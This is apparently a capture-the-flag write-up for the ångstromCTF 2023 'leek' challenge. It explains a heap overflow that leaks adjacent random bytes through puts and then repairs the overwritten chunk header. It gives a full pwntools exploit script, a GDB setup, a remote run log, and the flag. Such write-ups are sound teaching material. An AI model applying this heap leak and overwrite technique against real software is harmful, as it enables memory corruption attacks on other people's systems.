ångstromCTF 2023: leek

100 points, 145 solves

TL;DR

Overflow all null-bytes between 2 heap chunks, causingputs to leak the random generated bytes, then overflow the heap again to repair the chunk header.

Basic File Checks

The program is echoing our first input back to us, and prompting us to provide a presumably randomly-generated secret.

┌──(kali💀JesusCries)-[~/Desktop]
└─$ ./leek              
I dare you to leek my secret.
Your input (NO STACK BUFFER OVERFLOWS!!): test
:skull::skull::skull: bro really said: test

So? What's my secret? idk
Wrong!

In most cases, a binary with canary and NX enabled simply means we have to perform a canary leak and ROP attack to bypass the protections. As both of these protection mechanisms are enforced on the stack, this could also mean that the intended goal of this challenge is not about buffer overflow, but instead an exploitation on the heap.

┌──(kali💀JesusCries)-[~/Desktop]
└─$ checksec --file=leek 
[*] '/home/kali/Desktop/leek'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Static Code Analysis

Our goal is to GUESS the random bytes 100 times and invoke win() function to receive the flag. At first, it seemed like a Use-After-Free (UAF) challenge, but a vulnerable input function is used in line 44, combined with two heap chunks allocated adjacently in line 34-35, we have a Heap Overflow.

The chunk __s holds our input, and __s1 is the random bytes generated at runtime. Since both of them are allocated adjacently, we can overflow __s during input and overwrite the random bytes. This method is feasible, but I went for another method presented by CryptoCat to leak the random bytes.

void main(void)

{
  __gid_t __rgid;
  int iVar1;
  time_t tVar2;
  char *__s;
  char *__s1;
  long in_FS_OFFSET;
  int local_58;
  int local_54;
  char local_38 [40];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  tVar2 = time((time_t *)0x0);
  srand((uint)tVar2);
  setbuf(stdout,(char *)0x0);
  setbuf(stdin,(char *)0x0);
  __rgid = getegid();
  setresgid(__rgid,__rgid,__rgid);
  puts("I dare you to leek my secret.");
  local_58 = 0;
  while( true ) {
    if (N <= local_58) {
      puts("Looks like you made it through.");
      win();
      if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
        __stack_chk_fail();
      }
      return;
    }
    __s = (char *)malloc(0x10);
    __s1 = (char *)malloc(0x20);
    memset(__s1,0,0x20);
    getrandom(__s1,0x20,0);
    for (local_54 = 0; local_54 < 0x20; local_54 = local_54 + 1) {
      if ((__s1[local_54] == '\0') || (__s1[local_54] == '\n')) {
        __s1[local_54] = '\x01';
      }
    }
    printf("Your input (NO STACK BUFFER OVERFLOWS!!): ");
    input(__s);
    printf(":skull::skull::skull: bro really said: ");
    puts(__s);
    printf("So? What\'s my secret? ");
    fgets(local_38,0x21,stdin);
    iVar1 = strncmp(__s1,local_38,0x20);
    if (iVar1 != 0) break;
    puts("Okay, I\'ll give you a reward for guessing it.");
    printf("Say what you want: ");
    gets(__s);
    puts("Hmm... I changed my mind.");
    free(__s1);
    free(__s);
    puts("Next round!");
    local_58 = local_58 + 1;
  }
  puts("Wrong!");
                    /* WARNING: Subroutine does not return */
  exit(-1);
}

Attack Strategy

Theoretically speaking, the puts function on line 46 will print out characters repeatedly until a null byte \0 is reached because there is no boundary check. Our attack strategy is to overwrite any null bytes that exists between our __s and __s1 chunks (to merge both chunks together), thereby allowing us to leak the random bytes when puts(__s) is called.

NOTE: We are not going to overwrite any data after the null byte.

Proof of Concept

Fuzzing user input with cyclic patterns show that the random bytes are leaked at offset 32.

┌──(kali💀JesusCries)-[~/Desktop]
└─$ cyclic 30 | ./leek
I dare you to leek my secret.
Your input (NO STACK BUFFER OVERFLOWS!!): :skull::skull::skull: bro really said: aaaabaaacaaadaaaeaaafaaagaaaha
So? What's my secret? Wrong!
                                                                                                                             
┌──(kali💀JesusCries)-[~/Desktop]
└─$ cyclic 32 | ./leek
I dare you to leek my secret.
Your input (NO STACK BUFFER OVERFLOWS!!): :skull::skull::skull: bro really said: aaaabaaacaaadaaaeaaafaaagaaahaaahqF��3q����o
C���a[W��Dۃ�
So? What's my secret? Wrong!

Now we can use pwntools to receive the random bytes and re-submit them to pass the verification check. Based on the verbose debug info, we can see that the size of random bytes is 32, which is the exact same size as __s1 = (char *)malloc(0x20)

Debugging

Moving on to the 2nd part of the challenge, we have a memory corruption when free() is called because we have messed up the heap layout by overwriting it's header during the overflow. To continue program execution without any corruption, we need to repair the chunk header back to how it was.

The problem is, we have no idea how the heap looks like, so some debugging will be required. To visualize the layout of the heap, we can set 2 breakpoints: BEFORE OVERFLOW & AFTER OVERFLOW.

Since PIE is disabled, we can take the addresses directly from Ghidra and insert the breakpoints in our script.

# Specify GDB script here (breakpoints etc)
gdbscript = '''
init-pwndbg
b *0x4015d9
b *0x4016b5
continue
'''.format(**locals())

On the first breakpoint, we can see how the heap looks like BEFORE OVERFLOWING with the following summary:

  • PURPLE: User input chunk with 0x21 trailing bytes as the header.

  • GREEN: Random bytes chunk with 0x31 trailing bytes as the header, followed by the data.

On the second breakpoint, the header of GREEN chunk is overwritten by our cyclic pattern, which is why GDB interprets the size of the chunk as 0x6161616861616167. Decoding this hex value results in aaahaaag. This is the exact reason why the memory is corrupted.

Fixing Chunk Header

To continue program execution, we just need to utilize gets(__s) on line 53 to fill up our user input chunk, followed by a 0x31 byte, for the heap header to be valid.

Using the previous heap layout as reference, we need to fill up the entire PURPLE chunk with 24 bytes, followed by a 0x31 byte, then pad out the remaining bytes, so that it will appear 0x0000000000000031 and not 0x3100000000000000.

Solution

solve.py
#!/usr/bin/env python3
from pwn import *

# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)

# Specify GDB script here (breakpoints etc)
gdbscript = '''
init-pwndbg
break *0x4015d9
break *0x4016b5
continue
'''.format(**locals())

# Binary filename
exe = './leek'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'debug'

# ===========================================================
#                    EXPLOIT GOES HERE
# ===========================================================

io = start()

for i in range(100):
    io.sendlineafter(b'):', cyclic(31))
    io.recvline()

    rand_bytes = io.recvline()[0:32]

    io.sendafter(b'secret?', rand_bytes)

    io.sendafter(b'want:', (b'\x00' * 24) + b'\x31' + (b'\x00' * 7))

io.interactive()
┌──(kali💀JesusCries)-[~/Desktop]
└─$ ./solve.py REMOTE challs.actf.co 31310
[+] Starting local process './leek': pid 27688
[DEBUG] Received 0x48 bytes:
    b'I dare you to leek my secret.\n'
    b'Your input (NO STACK BUFFER OVERFLOWS!!): '
[DEBUG] Sent 0x20 bytes:
    b'aaaabaaacaaadaaaeaaafaaagaaahaa\n'
[DEBUG] Received 0x7e bytes:
    00000000  3a 73 6b 75  6c 6c 3a 3a  73 6b 75 6c  6c 3a 3a 73  │:sku│ll::│skul│l::s│
    00000010  6b 75 6c 6c  3a 20 62 72  6f 20 72 65  61 6c 6c 79  │kull│: br│o re│ally│
    00000020  20 73 61 69  64 3a 20 61  61 61 61 62  61 61 61 63  │ sai│d: a│aaab│aaac│
    00000030  61 61 61 64  61 61 61 65  61 61 61 66  61 61 61 67  │aaad│aaae│aaaf│aaag│
    00000040  61 61 61 68  61 61 0a a6  70 b1 78 84  1d 59 76 39  │aaah│aa··│p·x·│·Yv9│
    00000050  a8 3f 5d bd  b9 53 92 01  cb 49 06 40  fa 24 a3 d5  │·?]·│·S··│·I·@│·$··│
    00000060  86 d5 1d 39  e0 88 dd 0a  53 6f 3f 20  57 68 61 74  │···9│····│So? │What│
    00000070  27 73 20 6d  79 20 73 65  63 72 65 74  3f 20        │'s m│y se│cret│? │
    0000007e
[DEBUG] Sent 0x20 bytes:
    00000000  a6 70 b1 78  84 1d 59 76  39 a8 3f 5d  bd b9 53 92  │·p·x│··Yv│9·?]│··S·│
    00000010  01 cb 49 06  40 fa 24 a3  d5 86 d5 1d  39 e0 88 dd  │··I·│@·$·│····│9···│
    00000020
[DEBUG] Received 0x41 bytes:
    b"Okay, I'll give you a reward for guessing it.\n"
    b'Say what you want: '
[DEBUG] Sent 0x20 bytes:
    00000000  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
    00000010  00 00 00 00  00 00 00 00  31 00 00 00  00 00 00 0a  │····│····│1···│····│
    00000020
[*] Switching to interactive mode
 [*] Process './leek' stopped with exit code 1 (pid 27688)
[DEBUG] Received 0x5f bytes:
    b'Hmm... I changed my mind.\n'
    b'Next round!\n'
    b'Looks like you made it through.\n'
Hmm... I changed my mind.
Next round!
Looks like you made it through.
[DEBUG] Received 0x28 bytes:
   b'actf{very_l33k_of_y0u_777522a2c32b7dd6}\n'
actf{very_l33k_of_y0u_777522a2c32b7dd6}
[*] Got EOF while reading in interactive

Flag: actf{very_l33k_of_y0u_777522a2c32b7dd6}

Last updated